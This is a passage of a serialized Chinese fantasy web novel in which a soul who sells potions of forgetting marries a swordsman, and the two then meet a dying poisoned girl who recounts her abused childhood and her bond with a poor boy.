“那咱们是不是要成亲?”江余客闷闷的声音传来,颇有种“你亲了我得对我负责”的语气。
“嗯。”孟梨食应道。
“那我们就可以抚养江黎客了。”江余客在心里补充道:那他们就真的是他的爹娘了。
孟梨食拉着江余客的手,走向了面前被黑暗笼罩的小径,身后散发荧光的马车在渐渐消散,包括马车里的魂。
黑暗处,垂在大腿处的手指轻轻一勾,一根红线轻盈地环绕指尖。
孟梨食能够预见,预见这段感情的结局,伤心的人必然是自己,但没事,大不了喝一碗忘情水就是了。
第二日早,骄阳初升,林间清晨的空气清爽。
小魂在马车旁逗孩子,江黎客苍白,营养不良的脸庞渐渐红润,双眼更加有神,垂髻也有了乌黑的光泽,衣裳整洁,从头到尾透着精致。
逗孩子的间隙,它抬头看了眼树下折腾早饭的两人,越看越觉得哪里怪怪的。
昨晚也是这样……不,不一样,好像发生了什么它不知道的事情。
用过早饭,几人乘着马车,按照之前定好的路线继续前行,彻底远离晟国国都,直到两月后,马车停在一座小镇里。
“这里就是小泽镇,前面不过五里就是小泽野,是个不比京都差多少的好地方。”江余客已经跳下马车,边说边朝预备直接跳下马车的孟梨食伸出手。
孟梨食犹豫一秒,最终握上伸来的手,下了马车。
“这里有伤心人吗?”小魂抱着孩子出来。
江余客朝江黎客拍拍手,后者笑着伸出双臂,扑进对方怀里。
孟梨食看向小魂:“我就不能给自己放几日假休息一下,顺便成个亲吗?”
“成……成亲!”小魂眼睛睁大,“谁要成亲?你吗?你和谁?江余客吗?”
见它自问自答完,孟梨食耸耸肩,不置可否。
江余客戳戳江黎客有点小肉的脸颊,对孟梨食道:“我打听过了,小泽野无人管辖,那风景极好,我预备在那造间屋子,前面配上小院……”
江余客正说着,他怀里的孩子好奇地捏了捏他耳垂,一脸天真地问:“爹,你耳朵为什么红了啊?”
眼见江余客整张脸都要红起来,孟梨食将孩子抱过来,朝他扬扬下巴,“你尽管去吧,其他物件我来准备。”
江余客暗暗呼了口气,几乎是逃离般地离去了。
等对方彻底消失在人群中,孟梨食收回视线,回过头,见小魂还一脸懵然的样子,懒得解释,抱着孩子去了最近的料子铺,选了布匹裁婚服。
孟梨食是实干派,既然确认了心意,那就立马在一起,既然在一起要成婚,那就立马成。
婚房没有就马上造,婚服没有就马上裁。
同意,江余客的行动力也不弱,当天便雇好了人,选好地址,画好图纸准,备好材料,开始动工。
不过十日,一座精致的两层屋舍便出现在小泽野的湖边,当然,这其中也有孟梨食暗地里的帮忙。
此处灵气充沛,生灵多有灵性,不少动物等受她召唤前来帮忙,也为讨一杯喜酒喝。
而这不到十日的时间也让小魂消化完一切,送上祝福外,它极其严肃地问孟梨食:“你想好了?”
孟梨食一脸轻松,笑道:“做了这么久的卖水人,听了这么多故事,我倒要看看感情有多毒,又因何那些人不喝我这水。”
小魂久久地看着她,终是叹气道:“行吧,只愿日后你别后悔……”
但它又想到,遇见这么多伤心人,喝水的,不喝水的,竟无一人说后悔……
江余客只身入江湖,早已没了牵挂,而孟梨食,据说是诞生于地府的魂,自然是无父无母无亲故。
大婚之日,不过四人在场,但紧接着,整片林子的动物精怪送来祝福,来凑热闹。
孟梨食穿上婚服,还未等江余客惊叹,江黎客忙拍着手掌欢喜道:“好看,娘穿着这件衣裳真好看。”
孟梨食朝孩子笑笑,又抬眼看向满眼惊喜只顾着傻笑脸红的人。
“这也太红了。”她低头扯扯衣裳,有些不自在,自语似的说:“也不知为何孟婆爱穿红。”
小魂:“她那红要深许多,光线一暗,就跟黑色一样。”
一切准备好,小魂的声音沉沉落下:
“一拜天地——”
“二拜地府——”
“夫妻对拜——”
它望着这对新人,嘀咕道:“这搞得跟阴婚一样……”
但人魂之恋,又怎么能说不是呢?
拜完堂,小魂一把抱起江黎客,朝还傻站着的一堆动物妖精道:“走,咱们出去喝酒去。”
“诶,现在是不是要入洞房……唔唔……”
小魂一把捂住边说话边扭动腰身的柳树精,赶着众妖去到院子。
“娘和爹不来和我们喝酒吗?”江黎客努力朝后望,只见他的爹娘互相看着对方,突然抱在了一起。
“你娘,不对,你爹喝醉了,不管他们。”
“哦……”江黎客收回视线,侧过脑袋。
院子里热闹到后半夜才安静下来,大片小妖醉倒在地,砰砰几声,都现回原形。
那只柳树精更是直接插在了院前湖边,任夜风吹着。
稍清醒些便拉着睡死过去的同伴的腿,晃晃荡荡地将其拖走,往往拖到一半自个又站着睡着了。
夜间的风微凉,头顶月光清冷。
小魂从乾坤袋里扯了张厚毯子给江黎客盖着,望着院子里的狼藉,叹了口气。
这时,月光照耀下,面前空气中冒出点点荧光,如萤火虫般飘荡着,越来越多,汇聚在一起,不过几息,巴掌大小的小口出现在空中,四周荧光环绕。
一个什么物件从中探了出来,被浮光托着,送到小魂身前。
小魂眉头微蹙,这时,一道飘忽声音传入耳中,它猛地一惊,接着满脸认真地细细倾听,点头应是。
荧光消失了,它伸出手,接住掉下的东西,一看,是一把剑,一入手,便觉寒芒从掌心穿透到全身,让它猛地打了个冷噤。
…………
“啥?孟婆送来的贺礼?”孟梨食正咬着饼,闻言差点将
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自己噎住。
“什么礼?她有说什么吗?”
“什么也没说。”
小魂将那把剑从乾坤袋中拿出来,递给对方,“就是这把剑。”
孟梨食将剑接过,一怔,她低下头,看向刻在剑鞘上的三个字——无寞剑。
她皱着眉,不知对方此番何意。
无寞,乍一听怪悲凉的,但细瞧……还是悲凉。
她反手将剑扔进乾坤袋,继续啃饼。
“你之后什么打算?”小魂问。
“先住个十天半个月再说。”
…………
阳光灿烂,清风和煦。溪水清澈,被阳光照耀着,反射粼粼波光。
哗啦——
江余客瞅准机会探手一捉,一条肥美的鱼被带出水面,水花溅射。
“爹好厉害!”江黎客挽着裤脚站在浅水处,双手握着一根木叉,见状鼓足信心,朝着面前水中狠狠一叉——
“嘿!”他使足了力气,不由得咬起牙,等他抬手,却是什么都没叉到。
他抬起头,正巧江余客手腕微用力,将刚抓到的鱼轻轻抛出去,砰啦一声投进岸边的竹篓里。
江余客保持着动作,视线远远投向岸边藤椅上躺着的人。
江黎客看得满脸羡慕,视线随着抛物线划过,最终落在孟梨食身上,委屈得直撇嘴。
“再试试。”孟梨食朝他点头,同时食指轻轻一勾,几丝魂力溢出,没入江黎客附近的水面。
江黎客刚低头,便见有三条大鱼游了过来,顿时高兴了,握着木叉再次一叉,中了!
“爹,快来,我叉到大鱼了!”
“来了来了。”江余客忙淌水过来。
小魂抱着一堆红果子,刚从林中回来,见状道:“你倒是清闲。”
孟梨食懒洋洋伸了个懒腰,用行动回答,她确实清闲。
等到傍晚,江余客处理好抓到的几条鱼,开始生火。
天色渐暗,晚霞绚丽。
孟梨食躺了半天,终于舍得起身。
哒哒哒——
她应声回头,见江黎客欢快地朝她跑来,身后跟着慢悠悠飘的小魂。
“娘,我送你个礼物。”江黎客蹦蹦跳跳来到她面前,踮起脚尖,将合拢的双掌伸出。
孟梨食闻言躬身去看,江黎客双手打开,亮黄色的星星点点飘了出来,四散开去。
江黎客看向孟梨食,眼里的期待太过明显,乌黑的眼眸中倒映着星光。
孟梨食配合地“哇”了一声:“好美!”
江余客凑上来,一个劲问:“什么啊什么啊?”
一瞧,忍不住勾起笑来,却佯装生气地挠江黎客痒痒,问:“我的礼物呢?”
江黎客被挠得咯咯笑,扑腾着手要逃进孟梨食怀里,“我叉的鱼给爹吃!”
孟梨食牵着江黎客,去林中找花妖用酒换些花种子,预备种在院子里,而江余客和小魂正在给院子装上篱笆。
“等到了春天,院子里就会开满花。”
“好!”江黎客走两步跳一下。
孟梨食和江余客都不是那种安于居于一地的人,哪怕成了婚,江余客自可继续游历闯荡,而孟梨食……
呃,卖水一事可以继续,但不必着急。
所以,一家四口还是要继续游历的,等每年院子开满了花,就回来小住半月,只是……
孟梨食看了眼江黎客圆圆的脑袋顶,就这么带着孩子游历未免不负责,光教育问题就需要好好斟酌。
害,先打听四周有没有好的学堂吧。
…………
“学堂?那是什么地方?为什么要送我去那里?”江黎客睁着好奇的眼睛。
“交朋友的地方。”
“学知识的地方。”
江余客与孟梨食同时道,说完互相看了一眼。
江黎客看看两人,拉住孟梨食的手:“那娘和爹和我一起上学堂吗?”
孟梨食:“我们在家里等你回来。”
闻言,江黎客撇嘴道:“爹和娘不能教我知识吗?我想学爹的剑法,还想学娘的红线。”
见情况棘手,江余客灵机一动,道:“在学堂你可以学认字,爹和娘没文化,教不了你。”
说完,他感觉一道冰冷的视线。
江黎客张张嘴,看向小魂,正要说什么,江余客忙道:“你魂叔不识字。”
说完,他感受到两道冰冷的视线。
“不认字不可以吗?”
孟梨食叹了口气,道:“若你不识字,当你成为江湖强者,武林高手时,别人发来挑战书,说于何时何地一战,你都看不懂,多丢人。”
听完,江黎客闷闷点头:“好吧。”
不过这事不必操之过急,孟梨食心道,找的学堂务必得是最好的,也得多花些时间和孩子好好聊聊,最好让对方能主动去学堂。
68. 散毒女与竹马(1)
这日,算是孟梨食默认后,江余客便将自己毕身所学剑法教给江黎客,两人在院子里舞着剑。
江黎客学得格外认真,听江余客汇报,对方于剑法上也确实有天赋。
孟梨食依旧躺在藤椅上,懒洋洋打着哈欠。
这时,不远处传来轻微震动,树枝被强行破开,草丛被阵阵风使劲刮过。
“不好了,梨食大人,不好了!”
孟梨食懒懒掀开眼睛,江余客与江黎客均停下动作,看向声音来源。
一只棕红色的松鼠跑在最前面,身后跟着只白色兔子,一跳能有一米远,它身旁有一团卷着无数树叶的清风,上空盘旋一只翠蓝色的鸟。
草丛哗哗响动,更多动物或者精怪跳了出来,夺命般往院子这边跑。
“这是怎么回事?”小魂闻见声音,从厨房出来,手里还拿着和面的碗,嘀咕道:
“莫不是林中出现了作恶的大妖或者魔?”
“梨食大人!”距离两米时,跑到最前面的松鼠一个滑跪滑到孟梨食脚边,扒拉住她裤脚。
“救救我们吧!”
“梨食大人!梨食大人!”
“求梨食大人出手救救我们!”
不过一愣神之间,孟梨食四周便被无数生灵环绕,耳边全是它们凄凄哭喊。
她皱着眉,“什么情况?”
扒住她裤脚的松鼠站直身,虽说站和跪没什么区别,用右手抹着眼泪道:
“梨食大人,我们是您邻居,就住在那边那座山头,”它小心翼翼看向孟梨食,“如果您去过那座山就会看见,那里被毒气污染,寸草不生,多待一秒都会被毒素侵染。”
它低下头,小小的身体夸张地颤抖,“尤其是今日早,那里的毒气更重了,而且还在往四周蔓延,我们……我们担心毒气会蔓延到您这里来,所以赶来提醒您。”
孟梨食轻呵一声:“那你们一开始喊什么‘救救我们’?”
松鼠一噎,一旁的鸟精落在藤椅的扶手上,朝它啐了一口,恨恨道:
“直接说不好吗,梨食大人可不会像你这样心有算计。”
孟梨食抱臂看它俩,“再不说清楚我把你们弹出去。”
“嘿嚯!”那只白兔子一个旋身跳起,一脚将扶手的鸟踹飞,朝孟梨食拱手道:
“拜见梨食大人,我等居住在隔壁山头,那里常有毒气环绕,今日更是急剧蔓延,我等无奈,只能来叨扰您,祈求您能伸出援手。”
孟梨食听完,点点头,她不是那种爱多管闲事的人,不过今日无事,索性去看看。
她站起身,身下的藤椅轻轻晃了两下。
“去吗?”她看向江余客,而意料之中的,江余客和江黎客同时挽了个剑花,答道:“去!”
这父子俩还真像……孟梨食嘀咕一句。
一行人往隔壁山头出发,路上,孟梨食问:“你们可查出毒气源头是什么。”
那白兔子跳着跟上他们步伐,闻言回道:“是个女孩。”
孟梨食脚步一顿,“女孩?”
翠蓝色的鸟在几人头顶停下,轻轻扇着翅膀,道:
“回梨食大人的话,我之前专门查探过,就是个女孩,她的皮肤有时候会变成紫色。”
孟梨食思忖两秒,没有思绪,看了江余客一眼,后者将左手搭在腰间的剑上,道:“还是得亲眼看看。”
快步走了半个钟头,踏入另一座山地界,周遭空气瞬间就不同了,变得粘稠起来,视野内被蒙上一层浅浅的紫纱。
“梨食大人,还要往前走,就在那处半山腰。”白兔子蹦了两下道。
“我不行了,”头顶的翠蓝色鸟盘旋两下,气息微弱道,“我之前中的毒还未完全排出,恕我先退了。”
越往里走,空气中的紫色越是浓郁,更多的精怪留在了后面。
江余客拔出轩辕剑,没有丝毫动作,剑身自发散出金色光芒,将四周的紫气驱散,空出一块干净区域。
“位置我知道了,你也退下吧。”孟梨食对白兔子道,后者点头,并不强撑,蹦进草丛没了影子。
剩下几人互看一眼,继续前行,不过多久,便来到了毒气最浓郁处。
一片紫雾中,视线艰难穿过,一个瘦弱身影投入眼中。
那明显是个女孩,因为毒气紫雾重,看不清对方具体衣着与相貌,不过缕缕悲恸的哭声却穿过粘稠紫雾,传入耳中,让人心脏跟着抽痛起来。
而女孩哭泣的对象,是一个不大的土堆。
那土堆与周围环境一样,没有一点植被覆盖,泥土呈现黑褐色。
几人继续靠近,那女孩毫无所觉,哭到最后,声音渐弱,变成呜咽。
轩辕剑散发的金光依旧持续且温暖,将四周毒气吞噬,女孩的面容在众人眼中清晰——
对方穿着破旧且沾满了发黑的污泥,露出的皮肤偏紫,流出的眼泪更是诡异的深绿。
孟梨食示意牵着孩子的江余客站在原地,自己上前,正要开口,女孩突然仰起脖子,爆发出混杂着极度痛苦、悲伤与愤怒的吼叫,青筋凸起,紫色纹路迅速攀沿全身,深绿色泪水汩汩流下。
同时,极其浓郁的毒气爆发开来,孟梨食忙后退一步,无数红线交织在身前,聚成一面墙。
江余客连忙挥剑,金光闪过,毒气迅速被逼退。
女孩身体僵住,下一秒,直直倒在了土堆前。
孟梨食挥手撤掉因果线,两步走到女孩面前,细细查看一番,得出结论:“中毒已深,寿命将至。”
“发生了什么?她看起来不过十岁。”江余客满脸惊愕,他看向女孩倒向的土堆,“还有……这坟。”
“问一下就知道了。”孟梨食微不可察叹了口气,看向小魂,后者得意,微微点头,掏出一瓶盛着淡蓝色晶莹粉末的琉璃瓶,飘到女孩头顶,将瓶子打开,将里面的粉末轻轻撒下。
几息后,女孩缓缓睁开眼,撑着土堆跪起身,视线茫茫然扫过身侧几人,在小魂身上顿了顿。
“我死了吗?”她嗓音沙哑得厉害,差点发不出声。
孟梨食:“马上就……”
她还没说完,被江余客急急捂住嘴。
她瞪了对方一眼,后者收回手,朝她暗示性眨了下眼睛。
女孩看着两人,低下头,叹息般地说道:“那应该是快了。”
孟梨食下意识要点头,被她生生忍住了,抬手拿开江余客迟迟不放下的手,道:
“我是个卖水人,专卖忘情水,一碗解忧又忘愁,限时半价,要来一碗吗?”
“不用了。”
女孩的视线从孟梨食脸上滑下,定格在面前发黑的土堆上,“反正我就要死了。”
“早喝早摆脱痛苦。”孟梨食劝道,“没钱也无所谓,只要你能告诉我你的故事。”
看对方这破损沾满污泥的衣裳,也许身上没有钱。孟梨食暗暗点头,当然,她现在也不是很缺钱,如果她需要,自有赚钱的法子。
然而,女孩没有回话。
孟梨食叹了口气,“实话实说了吧,你没几个时辰了,如果你在我这买了忘情水,我承诺,会将你葬入这土堆中,当然,在此之前,我们会将你与这片环境净化,让你们安息。”
不知她话中哪词
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哪句触动了对方,女孩缓缓、僵硬地抬起头,众人这才发现,紫纹已从她鬓角蔓延至脸庞,这种纹路极其特殊,似小蛇似蜈蚣。
“好……”
意料之中,孟梨食暗暗点头,余光瞥了眼土堆。
“我叫闻幸。”
女孩的声音微哑,落在土堆上的视线柔和中又带着极强的穿透力,好像能透过厚厚的土堆,看见永远睡着的人。
“他是我最好的朋友,永远的朋友,叫恒……”
她张着嘴,呆滞地说着:“母亲怀我时被下了毒,她死了,我早产,活了下来……
“但我出生时,全身布满紫纹,全家视我不祥,将我抛在外院,一日只从狗洞里送一份汤水进来……
“但那时,毒都被聚在我体内,就算有人碰我,也不会被感染。”
她轻声说着,不知在向谁解释。
一份汤水根本不够闻幸吃,尤其随着她年纪增长,胃口大了,也更需要营养。
不知为何,那日的汤水迟迟没送来,而外院中能吃的草草叶叶都被她吃了个尽,她实在饿得慌,沿着墙角拔草吃,发现被石头挡住的一个小小的洞。
她渴望出去,于是用尽全身力气推开石头,离开了困了她不知多少年的小院。
高墙外是条昏暗小巷,她饿得两眼昏花,腹部绞痛,靠着粗糙墙面,向着远处的光亮磨蹭出去。
时间沉重流逝,眼前骤然大亮,世界之外的喧嚣扑来。
闻幸努力适应这光亮,睁开眼睛,被眼前的热闹景象惊在原地。
她还没回过神,什么东西滚到了脚边。
她不知道那是什么,只是极度饥饿后嗅觉被扩大,她只觉得好香,她好饿。
她似跌似倒地趴了下来,将那东西夺进嘴中。
她太饿了,那东西很香,但也许其实是臭的,但她不在意这些,只是急切地想用什么东西将空空的肚子填满。
“哪来的小乞丐,竟然吃了给我家大黄带的包子!”愤怒的童声响起。
闻幸大口嚼着,没有反应,就在她彻底将那东西咽进肚子里后,有什么东西重重打在了她头上,强烈的钝痛与冲击力让她扑向地面,各种拳打脚踢落在她身上。
附近的浑孩子发现目标,兴奋地参与进来。
闻幸蜷着身子,用手抱住头,麻木又茫然。
直到一道声音骤然响起——
“不许欺负她!”
落在身上的打击突然停下,闻幸左眼角被打出个包,视线模糊,但隐约看见周围的人冲向了发出声音的人。
“是李寡妇家的穷小子,还想着别人呢,看我们不揍死你!”
殴打声很快传来,夹杂着明显的却又克制的痛呼声。
闻幸想爬起身救为自己出头的人,但她起不来,她全身的骨头都在痛,头也好晕,比她以往认为自己要死了的每一次都更要严重。
耳边还回荡着拳打脚踢声、咒骂声、闷哼声。
她呜呜哭了出来,滴滴泪水击打地面,由清澈,渐渐染上绿色。
另一种疼痛蔓延全身,像有无数的虫子在她骨子里啃食,疼得她全身紧紧蜷起,大口大口喘着气。
突然,她极度痛苦地大吼一声,仰起脖子,全身紫纹更加深重。
不远处打得起劲的孩子被这声惨叫吸引视线,扭头一看,吓了一跳,纷纷大骂着妖怪,惊慌逃走了。
闻幸很快陷入昏迷,不远处躺在地上,蜷着身子的男孩缓缓回过神,撑着地爬向女孩。
离得近了,在看清对方身上可疑又恐怖的纹路时动作一顿,旋即继续靠过去,将女孩抱住。
69. 散毒女与竹马(2)
闻幸意识渐渐回归,嘴唇碰上了什么冰凉的东西,接着,这冰凉的液体滑入嘴中,抚过干燥的喉咙。
她缓缓睁开眼,看见一个和自己差不多大的男孩在喂自己喝水,对方脸上有不少乌青,发丝凌乱,看起来很狼狈,和自己一样。
“你感觉怎么样?”男孩停下喂水的动作,惊喜又担忧地问。
闻幸张了张嘴,下意识看向四周,发现自己靠墙半躺着,四周是用破烂席子倚墙搭的简单庇护所。
“你是哪家的孩子?”男孩看她。
闻幸正要说些什么,肚子先发出一声咕噜。
男孩忙从怀里摸出半块被牢牢包住的饼,递向女孩。
他那句“给,吃吧”还没说出,手里的东西已经被对方夺过去,大口吃下。
“我叫恒。”男孩跪坐在女孩身前,“你叫什么?”
他觉得自己刚才问对方是哪家的有些不礼貌,是在揭对方伤疤,于是换了个问题。
半张饼很快被闻幸吞下,看着面前的人,她很快明白发生了什么,她毒发了,没了意识,被对方带到这里。
她还记着,自己被打时,对方还想帮自己。
闻幸顿时放下警惕,回道:“闻不幸,我是。”
后面隔着条小道住着几个负责洒扫后院外围的仆人,她常常靠着墙悄悄地听他们说话,从他们的话中知道自己叫这个名。
恒愣了一下,这个名……不好。
吃下半张饼,闻幸渐渐有了力气,她突然听见面前的人嘀咕似的说道:“叫闻幸好一点。”
闻幸?闻不幸?
她不知道这两者有什么区别,没人叫她认字,没人与她说话,她会的这些都是偷听别人聊天自学的。
但她觉得面前的人是好人,名字而已,又不能换吃的,那自己就叫闻幸吧。
就在她想来想去时,余光一瞥,发现什么。
她指着远处墙角的洞说:“那里,出来的我。”
恒循着对方视线看去,稍稍一怔,这墙内是闻家院子,闻家虽称不上大户人家,却也比平民百姓富有一些。
想着身旁人介绍自己时说的名字,同样姓闻,恒瞬间想到了人们私下里的传闻,那个不祥的女婴!
闻幸靠了一会,呆滞地放空思绪,良久撑着地面站起身,正思忖的恒立马朝她投来视线。
“回去。”闻幸边说边比着手势,“谢你。”
恒点着头,也大概明白对方会这么狼狈,说话这么奇怪的原因。
他看着对方走向那个洞口,就在对方爬在地面要钻进去时,忙道:
“如果你想再见到我,就,就在洞口外面放个什么东西,我看见了就来唤你,你不要随意出来。”
闻幸动作一顿,没有转身地点了点头,她进去后还把石头推了回去,堵上洞口。
等周围重回寂静,恒站起身,呼了口气,朝着巷子深处走去。
黑暗越发浓郁,本就是下午,天边颜色昏黄,落入巷内的光线仿佛被过滤一遍,更显的暗沉。
走了许久,来到另一处更显破败的巷子,推开半开的院门。
他走到院角的小屋前,朝主屋投去视线,几丝怪异的声音传出。
他知道,家里又来了客人,娘在工作赚钱。
闻幸回到后院,一眼看见小洞外边放了个白瓷碗,这是今天的饭!
她兴奋地走过去,在将碗端起即将一咕噜灌进嘴里时猛地停下动作,她想起来,她吃了恒的饼,那恒吃什么?
她看着碗里的青菜汤,咽了咽口水,嘴中收回视线,端着碗进了屋。
天色已暗,没有烛火的屋子只有隐隐绰绰的轮廓,浓稠的黑暗从窗户溢出。
闻幸小心地捧着碗走到屋中,她本想将这青菜汤留给恒吃,但一想这汤也存不了这么久,便打算自己晚上饿醒了吃,明日份的再留给对方。
第二日早,她来到被石头堵住的洞口前,将石头推开,将一把枯黄的树叶放在洞外,然后靠墙坐着。
直到午时,今日份的吃食送到,竟有一个馒头!
她捧着馒头,感受它干硬恍如石块的质感,并未觉得有什么奇怪的,直咽口水。
又不知过了多久,她听见有人在说话。
她愣了好一会,终于反应过来,喊的是自己的名字,对,她叫闻不幸,虽然她不知道这个名字是什么意思。
“我在。”她趴在地上,生疏地喊:“恒,你吗?”
“是我。”恒蹲在地上,低着头,看见对方一双乌黑明亮的眼眸。
闻幸笑得眼睛都弯了起来,摸索着将一个馒头递出来。
“给。”
比馒头先看到的,是对方瘦弱泛着不正常白的手臂,恒抿着唇,道:“不,不用,我有吃的,你吃吧。”
有吃的?闻幸歪歪脑袋,看了手里的馒头两眼,“你吃,饿了吃。”
见对方态度坚决,恒将怀里的半张饼拿出,与对方做了交换。
“恒,出来,想。”闻幸努力拼凑着词汇说。
“嗯,你出来吧。”
这个洞委实有些小了,哪怕闻幸因为营养不良长得格外瘦弱,爬出来也需费一番力,恐怕再过些时日,不将洞凿大是出不来的。
两人靠墙蹲着,吃着彼此给的食物,闻幸满足地吃着饼,满眼都是喜悦,恒艰难地啃着馒头,视线不知投向哪里,沉默着。
“以后我叫你闻幸吧。”恒突然开口。
闻幸歪着脑袋,很快点头,点完头她又觉得奇怪,嘀咕着:“闻幸,恒,闻幸,恒……”
“怎么了?”
“不一样。”闻幸看他,“闻幸,两个,”她边说边伸出两根食指,“恒,一个。”
恒倒是很快明白对方话中意思,意思是她的名字是两个字,为什么我的名字是一个字。
他的名字只有一个名,没有姓,他本是随爹姓的,但爹抛弃了他和娘,娘骂他负心汉,他就跟着讨厌爹,不愿随对方姓。
但娘没有姓。
娘虽然爱生气,爱打骂自己,但他只有娘了,他知道娘也很辛苦,很委屈。
食物很快吃完,闻幸左右看了看,对方没回答她的疑问,而她也很快忘记这些,开始打量这个新环境。
巷子深处很危险,很多乞丐和不知什么身份的危险人物聚在那,恒不能带对方过去,而巷子外面的街道,虽然热闹,但这热闹明显不是属于他们的。
兴许还会碰上昨天的事。
“我们就在这坐着吧,我陪你聊聊天。”恒扯着一抹苦涩的笑。
“嗯!”闻幸极容易满足地点头,但她不知道说些什么,睁着亮晶晶的眼睛看着对方。
平时也没有人会和恒说话,他一时也不知如何开口,绞尽脑汁地想着,磕磕绊绊道:
“我,我给你讲故事吧,我从别人那里听来的,是关于神仙的故事。”
闻幸依旧亮着眼睛点头:“好,故事。”
“大家都说神仙是很厉害的存在,他们不用吃东西也能活,而且还会飞,想去哪一下子就能飞过去……”
一直到天色渐晚,恒才收住话,道:“不早了,我得回去了,你也回去吧。”
“神仙……”闻幸还沉浸在对方的故事中,一下子没反应过来,啊了一声,“回去?”
“明天我再来陪你聊天。”
闻幸瘪瘪嘴,听话地点头,已经比较熟练地从洞里钻回去了。
“用石头把洞合上。”恒担忧地叮嘱一声,害怕有什么意外。
“好。”
在将石头推到一半时,闻幸突然停下动作,在墙的另一边说:“恒,神仙,想见。”
“……我也想见。”
恒在对方再次开口前回道:“但我也不知道怎么才能见到神仙。”
“哦,好。”
洞口被彻底合上。
恒直起身,赶忙往家的方向走,刚走到门口,就见一个男人骂骂咧咧地出来:
“都这个样子了也好意思出来卖,真是晦气,别是沾了一身病……”
那男人的身影
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很快融入四周的黑暗,这黑暗太过浓稠,就连话语都没能传出多远。
恒走到院子一角,拿出不多的食物开始做饭。
有时候他会很忙碌,除了照顾娘,顾好家里的杂事,有时还会帮附近的不知什么身份的人做些小活计,送些信什么的,来赚些零钱。
下午是他为数不多的空闲时间,可以去见闻幸,但有时候他一天都没有活计,就可以陪对方说很久的话。
这日他有了安排,他被以前的雇主要求去烂泥巷的从东数第三个杂物堆里拿一个物件,说是像一块铁,拿回来后会给他二十文钱。
看起来并不危险,而且娘最近病得越发厉害,他几乎没有犹豫地答应了。
这些巷子他很熟,很快来到对方说的地方,他用余光看了看四周,从第一个杂物堆开始翻找,故意捡出几个破罐子,就算碰见人也只会觉得自己是个捡垃圾的小乞丐。
就这样一路捡到第三个杂物堆,略一翻找,找到一块铁块,光是一摸,便能发现不一样,铁块的表面有细密繁复的纹路。
他自然地将东西收好,又拿了几块破布,然后去翻第四个杂物堆。
终于,他觉得差不多了,拿着这些杂物往前走,准备在路上绕几圈再回到与雇主约好的地方。
就在他琢磨时,身前的黑暗中忽然涌出一滩墨,渐渐凝成人形,两个人无声无息来到他面前。
他猛然回神,瑟缩着,低下头靠在路边。
其中一人站住脚,将身后的刀拔出几寸,寒光划过恒的脸。
“可在周围看见什么可疑的人?”那人寒声问。
恒颤抖着摇头:“没,没有。”
对方没有多言,将身后的刀缓缓拔出,就在这时,前方的黑暗中闪过一道人影,两人顿时追了上去。
恒颤颤地呼了口气,压制奔跑的欲望,速度较快地离开。
最终,他推开一扇木门,将铁块放在桌上。
对面的男人拿起来看了两眼,沙哑着嗓音道:“很好。”
他随意地丢出一些铜币,没看对方一眼。
恒拿好报酬,快速离开。
加上之前存了许久的钱,他给娘买了药。
出了药堂,虽然钱只剩下六文,但他却是呼了口气,最起码,娘的病很快就会好起来。
从街上走过,他与这里的热闹若即若离,突然,他顿住脚,看向一旁,小摊上的包子新鲜出炉,热气腾腾,香味弥漫。
他摸着兜里铜币的轮廓,犹豫纠结许久,最终走过去,买了两个包子——剩下的钱只够买两个。
一个给娘,一个他和闻幸分着吃。
回去的路上刚好会经过那个洞,而他走近时,也看见了洞外一堆更加枯黄的树叶。
他盘腿坐在一旁,心情难得明朗地喊道:“闻幸。”
“诶!”对方好像一直守在洞口旁,一听见声音马上应答,石头随之被推开。
看着对方艰难地爬出,恒伸手拉了一把。
“米汤,留给你,里面有米哦!”
恒笑着接过,将手里的包子分了一半递出。
闻幸惊喜地哇了一声,接过包子欢快地吃了起来。
等两人沉浸又不舍地吃完半个包子,将那碗米汤分食,闻幸兴奋道:“恒,我发现自己,自己可以……”
她着急地说着,找不到合适的词来形容。
“你慢点说。”
闻幸左右一瞥,拔下墙角还算青绿的杂草,放于右手,接着左手紧紧握住,指甲划开掌心的伤口,几滴绿色的液体流出,滴落在杂草上。
很快,杂草以肉眼可见的速度枯萎、腐烂。
“就是这样!”闻幸激动道。
看着对方脸色渐深的紫纹,恒很快明白过来,认真道:“这样对你身体不好,以后不要这样了。”
见对方露出意料之外的神色,闻幸将激动缓缓收回,蔫蔫点头应道:“好。”
也许,恒想,只要多注意一些,闻幸也能像正常人一样长大,并非什么不祥。
70. 散毒女与竹马(3)
“那段日子实在是美好,哪怕我们每天都在挨饿,哪怕也许下一秒我们都可能因为意外死去……”
闻幸说着,视线始终落在面前的土堆上。
孟梨食知道,小魂和江余客也知道,一般这个时候,转折来了。
“半年后,一切都改变了……”
在恒的照顾下,闻幸脸上有了红润,身体也比曾经要强壮一些,虽然在她这个年纪依旧过于瘦弱。
而不知道哪一天,闻幸钻不出洞了。
一开始还需要恒在外面费力地拉,后来怎么拉都出不来了。
闻幸难过得不行,恒忙在外面安慰,思考着是寻把锤子好还是寻个竹梯好,不过都不是一时半会能做到的事。
两人最终只能隔着面墙聊天,将各自准备的食物通过洞口递过去。
直到一天,闻幸递过来一块点心,那是恒从来没见过的精致点心,浅粉色的,花瓣状,上面还点缀着黄色的桂花似的的东西。
这东西简直不能与从前的干硬馒头和几乎没有米的米粥联系起来,恒一下子警觉起来,忙道:“这是哪来的?”
“今天份的。”闻幸已经在墙的另一边吃上了。
“等等,先别吃!”恒陡然拔高音量,将对方吓了一跳,手中的半块搞点掉落在地。
“说清楚,为什么今天有糕点?”恒严肃着脸道。
“不,不知道……”闻幸意识到对方神色态度不对,忙道:
“我,我去偷听,墙角那里。”
她说着,将掉在地上的半块糕点捡起放到盘子里,拔脚跑到远处的墙角,压根没去听恒的呼喊。
恒急得差点去钻洞了,但他也知道如果自己这么做了的话,多半是头伸了过去,肩膀位置牢牢卡住。
终于,在他焦灼地等待中,哒哒哒的脚步声渐渐响起,闻幸趴下身,对上洞里的一双眼睛,属于恒的眼睛。
“恒……”她失神了般喊他。
恒更加着急了,但为了让对方镇定下来,努力平复着心情道:“慢慢说,你听见了什么。”
“弟弟……爹,小少爷……”闻幸拼凑出三个词汇,自己也渐渐明白这三个词汇背后可以包含的意思。
恒想的却比对方多……对方本就被众人视为不祥,关在后院受到虐待,现在家中又有了新的孩子,那她的地位更会下降,说不准……
他浑身一颤,说不准有些人不会允许她的存在。
“闻、闻幸!”恒自己都没发现,自己的嗓音颤抖得厉害。
“我在,恒,慢慢的。”
恒呼了口气,道:“他们给你的东西你不要再吃了,你先吃我带来的,然后……”
他想了想,道:“我会找把锤子,把洞口凿大,我会带你离开,你要在这里等我。”
“嗯!”闻幸不知道到底发生了什么,但恒说什么她就做什么。
